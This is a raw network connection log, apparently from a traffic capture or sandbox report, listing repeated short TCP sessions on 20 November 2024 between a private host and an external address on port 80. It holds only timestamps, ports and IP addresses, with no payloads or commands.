Nov 20, 2024 07:57:25.322849989 CET	49195	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:25.327625990 CET	80	49195	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:25.453788042 CET	49196	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:25.458745003 CET	80	49196	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:25.458817959 CET	49196	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:25.460459948 CET	49196	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:25.465317965 CET	80	49196	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:25.465375900 CET	49196	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:25.470280886 CET	80	49196	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:26.325515985 CET	80	49196	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:26.325531960 CET	80	49196	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:26.325587988 CET	49196	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:26.325624943 CET	49196	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:26.330543995 CET	80	49196	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:26.462745905 CET	49197	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:26.467704058 CET	80	49197	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:26.467771053 CET	49197	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:26.469594002 CET	49197	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:26.474512100 CET	80	49197	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:26.474558115 CET	49197	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:26.479454041 CET	80	49197	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:27.207211971 CET	80	49197	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:27.207293987 CET	80	49197	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:27.207355022 CET	49197	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:27.207386017 CET	49197	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:27.212142944 CET	80	49197	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:27.342052937 CET	49198	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:27.346952915 CET	80	49198	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:27.347037077 CET	49198	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:27.348721027 CET	49198	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:27.353614092 CET	80	49198	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:27.353741884 CET	49198	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:27.358566999 CET	80	49198	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:28.068264961 CET	80	49198	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:28.068877935 CET	80	49198	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:28.068991899 CET	49198	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:28.069030046 CET	49198	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:28.073862076 CET	80	49198	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:28.238061905 CET	49199	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:28.242974997 CET	80	49199	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:28.245275021 CET	49199	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:28.247658014 CET	49199	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:28.252496004 CET	80	49199	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:28.253668070 CET	49199	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:28.258563042 CET	80	49199	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:28.977535009 CET	80	49199	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:28.977551937 CET	80	49199	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:28.977622032 CET	49199	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:28.977678061 CET	49199	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:28.982464075 CET	80	49199	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:29.113502979 CET	49200	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:29.118392944 CET	80	49200	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:29.118469954 CET	49200	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:29.120889902 CET	49200	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:29.125745058 CET	80	49200	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:29.125787973 CET	49200	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:29.130633116 CET	80	49200	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:29.974338055 CET	80	49200	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:29.974435091 CET	80	49200	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:29.974566936 CET	49200	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:29.974566936 CET	49200	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:29.979437113 CET	80	49200	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:30.103106976 CET	49201	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:30.108089924 CET	80	49201	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:30.108246088 CET	49201	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:30.109941006 CET	49201	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:30.114790916 CET	80	49201	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:30.114919901 CET	49201	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:30.119827032 CET	80	49201	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:30.837785006 CET	80	49201	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:30.837816000 CET	80	49201	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:30.837963104 CET	49201	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:30.838025093 CET	49201	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:30.843034983 CET	80	49201	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:30.978729963 CET	49202	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:30.984548092 CET	80	49202	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:30.984649897 CET	49202	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:30.986397028 CET	49202	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:30.992604017 CET	80	49202	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:30.992768049 CET	49202	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:30.997767925 CET	80	49202	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:31.706429005 CET	80	49202	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:31.706512928 CET	80	49202	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:31.706612110 CET	49202	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:31.709646940 CET	49202	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:31.716016054 CET	80	49202	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:32.051425934 CET	49203	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:32.056376934 CET	80	49203	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:32.056457996 CET	49203	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:32.058171988 CET	49203	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:32.062998056 CET	80	49203	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:32.063041925 CET	49203	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:32.067886114 CET	80	49203	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:32.783813000 CET	80	49203	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:32.783921957 CET	80	49203	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:32.783999920 CET	49203	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:32.784301996 CET	49203	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:32.789112091 CET	80	49203	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:32.913781881 CET	49204	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:32.918586016 CET	80	49204	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:32.918797016 CET	49204	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:32.920535088 CET	49204	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:32.925424099 CET	80	49204	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:32.925554991 CET	49204	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:32.930403948 CET	80	49204	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:33.768088102 CET	80	49204	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:33.768265963 CET	49204	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:33.768428087 CET	80	49204	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:33.768520117 CET	49204	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:33.773092031 CET	80	49204	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:33.894079924 CET	49205	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:33.899012089 CET	80	49205	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:33.899096966 CET	49205	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:33.900855064 CET	49205	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:33.905957937 CET	80	49205	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:33.906029940 CET	49205	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:33.910907984 CET	80	49205	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:34.636761904 CET	80	49205	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:34.637063980 CET	80	49205	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:34.637116909 CET	49205	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:34.638406992 CET	49205	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:34.643250942 CET	80	49205	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:34.775330067 CET	49206	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:34.780289888 CET	80	49206	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:34.780409098 CET	49206	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:34.782082081 CET	49206	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:34.786921024 CET	80	49206	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:34.787024021 CET	49206	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:34.791836023 CET	80	49206	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:35.506217003 CET	80	49206	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:35.506438971 CET	80	49206	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:35.506501913 CET	49206	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:35.506501913 CET	49206	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:35.511423111 CET	80	49206	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:35.643155098 CET	49207	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:35.648061037 CET	80	49207	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:35.648191929 CET	49207	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:35.650070906 CET	49207	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:35.654942989 CET	80	49207	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:35.655030012 CET	49207	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:35.659894943 CET	80	49207	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:36.384850025 CET	80	49207	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:36.384957075 CET	80	49207	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:36.385030031 CET	49207	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:36.385076046 CET	49207	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:36.389873981 CET	80	49207	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:36.518459082 CET	49208	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:36.523334980 CET	80	49208	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:36.523426056 CET	49208	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:36.525110006 CET	49208	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:36.529973030 CET	80	49208	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:36.530040979 CET	49208	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:36.535291910 CET	80	49208	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:37.243896008 CET	80	49208	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:37.243915081 CET	80	49208	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:37.244066954 CET	49208	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:37.244174957 CET	49208	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:37.249203920 CET	80	49208	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:37.373903990 CET	49209	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:37.379014015 CET	80	49209	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:37.379089117 CET	49209	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:37.380793095 CET	49209	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:37.385879040 CET	80	49209	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:37.385968924 CET	49209	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:37.390829086 CET	80	49209	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:38.095659018 CET	80	49209	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:38.095824957 CET	80	49209	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:38.096012115 CET	49209	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:38.096012115 CET	49209	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:38.100843906 CET	80	49209	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:38.233498096 CET	49210	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:38.238468885 CET	80	49210	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:38.238559008 CET	49210	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:38.240227938 CET	49210	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:38.245454073 CET	80	49210	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:38.245541096 CET	49210	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:38.250439882 CET	80	49210	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:38.955806971 CET	80	49210	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:38.955955029 CET	49210	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:38.956038952 CET	80	49210	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:38.956111908 CET	49210	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:38.960823059 CET	80	49210	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:39.088648081 CET	49211	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:39.093550920 CET	80	49211	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:39.093662024 CET	49211	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:39.095318079 CET	49211	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:39.100122929 CET	80	49211	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:39.100303888 CET	49211	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:39.105119944 CET	80	49211	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:39.954087973 CET	80	49211	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:39.954121113 CET	80	49211	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:39.954333067 CET	49211	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:39.954333067 CET	49211	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:39.959249973 CET	80	49211	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:40.086687088 CET	49212	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:40.092782021 CET	80	49212	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:40.092885017 CET	49212	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:40.094630957 CET	49212	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:40.099416018 CET	80	49212	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:40.099524021 CET	49212	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:40.106137037 CET	80	49212	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:40.816035032 CET	80	49212	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:40.816262960 CET	80	49212	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:40.816303015 CET	49212	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:40.816354036 CET	49212	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:40.821147919 CET	80	49212	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:40.946070910 CET	49213	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:40.950937986 CET	80	49213	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:40.951020956 CET	49213	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:40.952683926 CET	49213	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:40.957457066 CET	80	49213	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:40.957521915 CET	49213	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:40.962294102 CET	80	49213	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:41.675704002 CET	80	49213	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:41.675839901 CET	80	49213	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:41.675987959 CET	49213	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:41.675987959 CET	49213	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:41.680887938 CET	80	49213	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:41.821567059 CET	49214	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:41.826435089 CET	80	49214	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:41.826534986 CET	49214	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:41.828788042 CET	49214	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:41.834096909 CET	80	49214	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:41.834156990 CET	49214	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:41.839046955 CET	80	49214	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:42.543483973 CET	80	49214	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:42.543601990 CET	80	49214	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:42.543643951 CET	49214	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:42.543680906 CET	49214	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:42.548513889 CET	80	49214	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:42.679052114 CET	49215	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:42.683909893 CET	80	49215	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:42.683989048 CET	49215	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:42.685653925 CET	49215	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:42.690778971 CET	80	49215	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:42.690841913 CET	49215	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:42.695668936 CET	80	49215	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:43.544902086 CET	80	49215	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:43.545093060 CET	80	49215	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:43.545186043 CET	49215	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:43.545250893 CET	49215	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:43.550060987 CET	80	49215	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:43.674154043 CET	49216	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:43.679092884 CET	80	49216	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:43.679163933 CET	49216	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:43.680879116 CET	49216	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:43.686954021 CET	80	49216	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:43.687015057 CET	49216	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:43.691971064 CET	80	49216	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:44.541507006 CET	80	49216	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:44.541532993 CET	80	49216	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:44.541693926 CET	49216	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:44.541693926 CET	49216	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:44.546679020 CET	80	49216	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:44.675165892 CET	49217	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:44.680048943 CET	80	49217	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:44.680143118 CET	49217	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:44.681811094 CET	49217	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:44.686671019 CET	80	49217	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:44.686743021 CET	49217	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:44.691601992 CET	80	49217	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:45.533421993 CET	80	49217	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:45.533689022 CET	49217	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:45.533850908 CET	80	49217	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:45.533902884 CET	49217	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:45.538503885 CET	80	49217	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:45.671566010 CET	49218	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:45.676475048 CET	80	49218	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:45.676553011 CET	49218	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:45.678222895 CET	49218	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:45.683080912 CET	80	49218	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:45.683161974 CET	49218	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:45.687995911 CET	80	49218	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:46.391887903 CET	80	49218	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:46.392055035 CET	80	49218	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:46.392081976 CET	49218	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:46.392134905 CET	49218	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:46.397053957 CET	80	49218	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:46.560368061 CET	49219	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:46.565263987 CET	80	49219	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:46.565339088 CET	49219	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:46.567030907 CET	49219	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:46.571842909 CET	80	49219	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:46.572052002 CET	49219	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:46.576961994 CET	80	49219	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:47.435107946 CET	80	49219	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:47.435297966 CET	49219	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:47.435528994 CET	80	49219	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:47.435584068 CET	49219	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:47.440139055 CET	80	49219	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:47.613591909 CET	49220	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:47.618675947 CET	80	49220	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:47.618752956 CET	49220	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:47.620480061 CET	49220	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:47.625364065 CET	80	49220	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:47.625431061 CET	49220	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:47.630283117 CET	80	49220	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:48.350254059 CET	80	49220	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:48.350375891 CET	49220	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:48.350524902 CET	80	49220	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:48.350577116 CET	49220	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:48.355330944 CET	80	49220	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:48.526076078 CET	49221	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:48.531033993 CET	80	49221	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:48.531141043 CET	49221	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:48.532846928 CET	49221	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:48.537797928 CET	80	49221	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:48.537909031 CET	49221	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:48.542763948 CET	80	49221	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:49.387171030 CET	80	49221	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:49.387295961 CET	49221	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:49.387474060 CET	80	49221	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:49.387527943 CET	49221	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:49.392165899 CET	80	49221	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:49.524877071 CET	49222	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:49.530566931 CET	80	49222	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:49.530647039 CET	49222	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:49.532310009 CET	49222	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:49.537178993 CET	80	49222	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:49.537252903 CET	49222	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:49.542315006 CET	80	49222	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:50.396709919 CET	80	49222	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:50.396853924 CET	80	49222	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:50.396868944 CET	49222	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:50.397007942 CET	49222	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:50.401731968 CET	80	49222	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:50.528292894 CET	49223	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:50.534405947 CET	80	49223	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:50.534495115 CET	49223	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:50.536369085 CET	49223	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:50.541321039 CET	80	49223	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:50.541403055 CET	49223	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:50.546330929 CET	80	49223	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:51.399991989 CET	80	49223	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:51.400156021 CET	80	49223	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:51.400249004 CET	49223	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:51.400294065 CET	49223	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:51.405119896 CET	80	49223	94.156.177.41	192.168.2.22
Nov 20, 2024 07:57:51.538554907 CET	49224	80	192.168.2.22	94.156.177.41
Nov 20, 2024 07:57:51.543478966 CET	80	49224	94.156.177.41	192.168.2.22
